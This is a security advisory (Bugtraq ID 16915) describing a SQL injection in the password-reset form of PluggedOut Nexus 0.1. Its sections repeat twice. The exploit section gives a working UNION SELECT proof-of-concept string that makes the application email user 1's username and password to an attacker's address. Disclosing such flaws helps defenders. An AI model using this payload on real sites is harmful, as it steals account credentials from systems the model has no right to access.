PluggedOut Nexus forgotten_password.PHP SQL Injection Vulnerability
BID:16915
Info
PluggedOut Nexus forgotten_password.PHP SQL Injection Vulnerability
| Bugtraq ID: | 16915 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 02 2006 12:00AM |
| Updated: | Mar 07 2006 03:11PM |
| Credit: | Hamid Ebadi is credited with the discovery of this vulnerability. |
| Vulnerable: |
PluggedOut Nexus 0.1 |
| Not Vulnerable: | |
Discussion
PluggedOut Nexus forgotten_password.PHP SQL Injection Vulnerability
PluggedOut Nexus is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Nexus 0.1 is reportedly affected by this issue.
PluggedOut Nexus is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Nexus 0.1 is reportedly affected by this issue.
Exploit / POC
PluggedOut Nexus forgotten_password.PHP SQL Injection Vulnerability
This issue can be exploited using a web client.
The following proof of concept exploit is available:
Insert this code in E-Mail Address form (http://www.example.com/Nexus/forgotten_password.php) :
hamidnetworksecurityteam' union select
cUsername,cPassword,'[email protected]' from
nexus_users WHERE nUserId=1 and '1'='1
This will email the password for userID=1 to [email protected].
This issue can be exploited using a web client.
The following proof of concept exploit is available:
Insert this code in E-Mail Address form (http://www.example.com/Nexus/forgotten_password.php) :
hamidnetworksecurityteam' union select
cUsername,cPassword,'[email protected]' from
nexus_users WHERE nUserId=1 and '1'='1
This will email the password for userID=1 to [email protected].
Solution / Fix
PluggedOut Nexus forgotten_password.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
PluggedOut Nexus forgotten_password.PHP SQL Injection Vulnerability
References:
References:
- Nexus Homepage (PluggedOut)
- PluggedOut Nexus SQL injection (h e
)